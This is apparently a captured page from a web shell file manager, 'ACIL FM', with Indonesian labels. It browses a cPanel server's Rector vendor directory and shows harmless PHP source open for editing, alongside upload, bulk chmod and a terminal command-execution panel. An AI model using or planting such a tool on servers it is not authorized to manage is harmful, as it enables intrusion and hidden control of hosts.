ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/rector/rector/rules/Php80/NodeAnalyzer
/
opt
cpanel
ea-wappspector
vendor
rector
rector
rules
Php80
NodeAnalyzer
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
MatchSwitchAnalyzer.php
5.64 MB
chmod
View
DL
Edit
Rename
Delete
PhpAttributeAnalyzer.php
3.99 MB
chmod
View
DL
Edit
Rename
Delete
PromotedPropertyCandidateResolver.php
5.95 MB
chmod
View
DL
Edit
Rename
Delete
PromotedPropertyResolver.php
801 B
chmod
View
DL
Edit
Rename
Delete
SwitchAnalyzer.php
3.73 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/rector/rector/rules/Php80/NodeAnalyzer/PhpAttributeAnalyzer.php
<?php declare (strict_types=1); namespace Rector\Php80\NodeAnalyzer; use PhpParser\Node\Arg; use PhpParser\Node\AttributeGroup; use PhpParser\Node\Expr\Array_; use PhpParser\Node\Expr\ArrayItem; use PhpParser\Node\Param; use PhpParser\Node\Scalar\String_; use PhpParser\Node\Stmt\Class_; use PhpParser\Node\Stmt\ClassLike; use PhpParser\Node\Stmt\ClassMethod; use PhpParser\Node\Stmt\Property; use PHPStan\Reflection\ReflectionProvider; use Rector\NodeNameResolver\NodeNameResolver; use Rector\Php81\Enum\AttributeName; use Rector\PhpAttribute\Enum\DocTagNodeState; final class PhpAttributeAnalyzer { /** * @readonly * @var \Rector\NodeNameResolver\NodeNameResolver */ private $nodeNameResolver; /** * @readonly * @var \PHPStan\Reflection\ReflectionProvider */ private $reflectionProvider; public function __construct(NodeNameResolver $nodeNameResolver, ReflectionProvider $reflectionProvider) { $this->nodeNameResolver = $nodeNameResolver; $this->reflectionProvider = $reflectionProvider; } /** * @param \PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassLike|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Param $node */ public function hasPhpAttribute($node, string $attributeClass) : bool { foreach ($node->attrGroups as $attrGroup) { foreach ($attrGroup->attrs as $attribute) { if (!$this->nodeNameResolver->isName($attribute->name, $attributeClass)) { continue; } return \true; } } return \false; } /** * @param AttributeName::* $attributeClass */ public function hasInheritedPhpAttribute(Class_ $class, string $attributeClass) : bool { $className = (string) $this->nodeNameResolver->getName($class); if (!$this->reflectionProvider->hasClass($className)) { return \false; } $classReflection = $this->reflectionProvider->getClass($className); $ancestorClassReflections = \array_merge($classReflection->getParents(), $classReflection->getInterfaces()); foreach ($ancestorClassReflections as $ancestorClassReflection) { $nativeReflection = $ancestorClassReflection->getNativeReflection(); if ((\method_exists($nativeReflection, 'getAttributes') ? $nativeReflection->getAttributes($attributeClass) : []) !== []) { return \true; } } return \false; } /** * @param string[] $attributeClasses * @param \PhpParser\Node\Stmt\Property|\PhpParser\Node\Stmt\ClassLike|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Param $node */ public function hasPhpAttributes($node, array $attributeClasses) : bool { foreach ($attributeClasses as $attributeClass) { if ($this->hasPhpAttribute($node, $attributeClass)) { return \true; } } return \false; } /** * @param AttributeGroup[] $attributeGroups */ public function hasRemoveArrayState(array $attributeGroups) : bool { foreach ($attributeGroups as $attributeGroup) { foreach ($attributeGroup->attrs as $attribute) { $args = $attribute->args; if ($this->hasArgWithRemoveArrayValue($args)) { return \true; } } } return \false; } /** * @param Arg[] $args */ private function hasArgWithRemoveArrayValue(array $args) : bool { foreach ($args as $arg) { if (!$arg->value instanceof Array_) { continue; } foreach ($arg->value->items as $item) { if (!$item instanceof ArrayItem) { continue; } if ($item->value instanceof String_ && $item->value->value === DocTagNodeState::REMOVE_ARRAY) { return \true; } } } return \false; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply